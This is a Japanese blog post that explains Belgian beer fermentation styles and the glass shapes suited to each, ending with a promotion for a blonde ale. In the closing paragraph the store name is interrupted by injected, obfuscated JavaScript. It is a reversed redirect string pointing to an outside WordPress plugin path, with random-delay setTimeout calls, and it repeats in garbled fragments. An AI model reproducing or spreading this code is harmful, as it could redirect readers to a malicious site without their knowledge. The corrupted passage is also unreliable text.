ベルギービール こだわりのグラスの世界
普段私たちがビールを飲む時は、ビールジョッキやタンブラーを使うことが多いですよね。
しかし、ビール大国ベルギーではちょっと違います。
各醸造所が、自分たちが作るビールの味わいを最大限に引き出すよう工夫を凝らした、特徴的なデザインのオリジナルのグラスでビールが提供されるのです。そして、それがベルギービールの楽しさの一つでもあります。
今回は、グラスの形状がビールの味わいに与える影響、そして、個性あふれるベルギービールのグラスの世界を紹介します。
◇ベルギービール、味わいの特徴は?
ベルギービールのグラスを語る前に、まず知っておきたいのがベルギービールの味わいの特徴です。
ビールには発酵方法によって、大きく分けて上面発酵と下面発酵の2つがあり、発酵方法により味わいが大きく変わります。
下面発酵(ラガービール)は、現在、世界的に主流になっている発酵方法です。
約6~15℃の低温で時間をかけて発酵させ、酵母が最終的に液の底に沈殿するため下面発酵と名づけられました。低温で雑菌の繁殖が抑えられるため大量生産に適しており、現在は世界的に主流の発酵方法となっています。
私たちが普段飲む国産の缶ビールなどもほとんどがこの方法で作られており、爽やかでキレのある味わいが特徴です。
それに対して、ベルギービールでよく使われる発酵方法が、上面発酵(エールビール)。
20~25℃の常温で2週間程度の発酵・熟成期間を要する上面発酵は、発酵中に酵母が液面に浮かび上がってくることからこの名前が付きました。
発酵中に生じるフェノール系物質により、とてもフルーティで華やかな香りと、豊な味わいのビールとなるのが特徴です。
また、作り手の個性、醸造所の気候風土、水、使用する原料などが味わいに反映されやすく、同じスタイルでも銘柄により個性あふれる味わいが楽しめるのが上面発酵ビールの特徴です。
もう一つ、ベルギービールを特徴づけているのは、自然界に存在する野生酵母により自然発酵させるランビックです。
ランビックの特徴は、自然発酵による複雑な香りと、強い酸味。甘みを加えて酸味をカバーするためフルーツを漬け込んだり、飲みやすくするため若いビールとブレンドして熟成されることも多い、ベルギーならではの個性的なビールです。
このように上面発酵・自然発酵により作られる、様々な色・味・香りを持つ個性あふれるビールがたくさんあるのがベルギービールの魅力です。
そして、各醸造所は、自分たちのビールの味わいや個性を最大限に引き出すため、工夫を凝らしたデザインのオリジナルのグラスを作っているのです。
様々なデザインのグラスを楽しめることも、ベルギービールの魅力の一つです!
◇ベルギービールのグラスいろいろ
それでは、ベルギービールに特徴的なグラスのタイプを見てみましょう。
・チューリップ型
ベルギービールのグラスでよく見かけるのがこのチューリップ型。
ワイングラスのように膨らみのあるボディに、開いたトップの部分がチューリップの花のように見えることからこの名前が付きました。
チューリップ型の利点は、泡が消えにくいこと。くびれたチューリップの部分で泡が固められるため、最後まで泡がビールを覆って香りが逃げないよう守ってくれます。上面発酵に由来するエールビールの華やかな香りを存分に楽しむことができるグラスです。
適したビール:ベルギーエール
・聖杯型(ゴブレット型)
キリスト教の儀式に使用される聖杯をかたどったのが、このタイプのグラス。大きく口が開いた大ぶりのグラスに、脚と台座がついています。
聖杯型はグラスに厚みがありしっかりと重量感があります。ゴブレット型は形は同じですが、それよりも薄手で軽いグラスです。
ベルギーといえば、シメイ、オルヴァル、ウエストマールなどの修道院ビールが有名ですが、この聖杯型グラスは修道院ビールを楽しむのに適した形です。聖杯型グラスは傾けにくいため、修道院ビールのように、アルコール度が高く濃厚な味わいのビールを時間をかけて味わいながら飲むのにピッタリなのです。
また、泡立ちの良いビールでも泡がこぼれにい、飲み口が広く鼻と液面の距離が短くなるため、香りを十分楽しめるという利点もあります。
適したビール:トラピストビール、アビイビール
・フルート型
フランボワーズ、チェリーなどを漬け込んで熟成させたランビックビールに最適なのが、シャンパンに使用するような細身で縦長のフルートグラス。
ランビックは酸味の強いビールですが、フルートグラスは、飲んだ時に舌の中央の甘みを感じる部分にビールが当たり、酸味を和らげる構造になっていいます。
また、フルートグラスは泡が長持ちするため立ち上る泡を堪能できたり、ビールの色合いの美しさも楽しめるグラスです。
適したビール:ランビック、フルーツビール
・タンブラー型
4-5ミリもある分厚いガラスのズッシリ重いタンブラー型グラス。保冷効果が高いので、低温で飲みたいビールにピッタリのグラスです。
タンブラーに適するのは、ホワイトビールやセゾンビール。
ホワイトビールは、焙煎しない小麦と、オレンジピールやコリアンダーを香料として使って作った、爽やかな香りとほのかな酸味のビールです。
セゾンビールは、ベルギーの夏の風物詩。夏の時期の畑仕事中に飲むために作られた農家の自家製ビールが原型で、品質を保持するため、ホップの量を増やしたり、スパイスを加えたりといった工夫が凝らされており、それが味わいの特徴となっています。
適したビール:ホワイトビール、セゾンビール
・番外編・・・馬上杯
ベルギービールのグラスの中でも変わり種がこの馬上杯。ナポレオンの時代、まだ移動手段が馬車だった頃に、宿を経営していたパウエル・クワックという男性が発案しました。
当時、宿は乗合馬車の休憩所として使用されていましたが、馬車の御者は法律により馬を離れることを禁じられていたため、休憩所に立ち寄ってもビールを楽しむことができませんでした。
そこで、クワック氏は御者が馬の上でもビールが飲めるように、フラスコ型でこぼれにくいグラスと、馬の鞍に固定できるグラス用の台座を発案。彼の作るビール・クワックは、一躍有名となったのでした。
ビールの味わいを生かすためのグラスというよりも、いつでもどこでもビールを飲みたいというベルギー人の執念を感じさせるグラスですね!
◇楽しんでみよう!ベルギービール。アルコール入り&ノンアルコール
ここまで読んで、ベルギービールを飲みたくなってしまった皆様へ、現在Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreでは、ネオブュル社製造のベルギービール「ビアー・デザミ」を販売中です!
ビアー・デザミは、厳選された材料を使い、伝統的な上面発酵により作られたブロンドエールです。
軽めのボディとスッキリした飲み口、フルーティーなオレンジピールの香り、そして、瓶内二次発酵により生まれるきめ細やかな泡が織りなす、上品で繊細な味わいをお楽しみください。
スッキリと軽やかな味わいなので、グラスに移して飲む場合は、タンブラータイプのグラスをおすすめします。